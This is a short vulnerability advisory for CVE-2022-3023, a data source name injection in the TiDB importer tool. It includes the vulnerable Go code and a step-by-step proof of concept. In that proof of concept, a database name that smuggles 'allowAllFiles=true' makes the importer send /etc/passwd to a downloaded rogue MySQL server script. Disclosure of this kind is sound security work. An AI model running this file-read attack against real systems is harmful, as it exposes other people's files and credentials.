CVE-2022-3023: DSN Injection in TiDB Server Importer

- 2 mins

Description

TiDB server (importer CLI tool) prior to version 6.4.0 & 6.1.3 is vulnerable to data source name injection. The database name for generating and inserting data to a database does not properly sanitize user input which can lead to arbitrary file reads.

Vulnerable snippet

// cmd/importer/db.go:320-328
func createDB(cfg DBConfig) (*sql.DB, error) {
  dbDSN := fmt.Sprintf("%s:%s@tcp(%s:%d)/%s?charset=utf8", cfg.User, cfg.Password, cfg.Host, cfg.Port, cfg.Name)
  db, err := sql.Open("mysql", dbDSN)
  if err != nil {
    return nil, errors.Trace(err)
  }

  return db, nil
}

Proof of Concept

TiDB server importer use Go MySQL Driver for connecting to MySQL servers, and it has a built-in protection against LOCAL INFILE query requests.

To access the requested file, we need set the allowAllFiles parameter to true in the DSN string when connecting to the MySQL server.

Let’s set up vulnerable environment for TiDB server version 6.3.0.

$ git clone https://github.com/pingcap/tidb -b v6.3.0 --depth 1
$ cd tidb/cmd/importer
$ go build .

Set up MySQL fake server for read files, Rogue-MySql-Server script by @allyshka. Run & input the path to file you’re interested in.

$ wget -q https://github.com/allyshka/Rogue-MySql-Server/raw/master/roguemysql.php
$ php roguemysql.php

Specify our server address in the config.toml file.

# cmd/importer/config.toml:33-38
[db]
host = "127.0.0.1"
user = "root"
password = ""
name = "test?allowAllFiles=true&"
port = 3306

Execute the importer command with the previous defined config file.

$ ./importer -config config.toml

The TiDB importer has connected to the rogue MySQL server, which has requested the /etc/passwd file to be read, and the TiDB importer has transferred this file’s contents to us!

Impact

This issue lead to a arbitrary file read.

Mitigation

Upgrade TiDB Server to version >= 6.4.0.

Timeline

References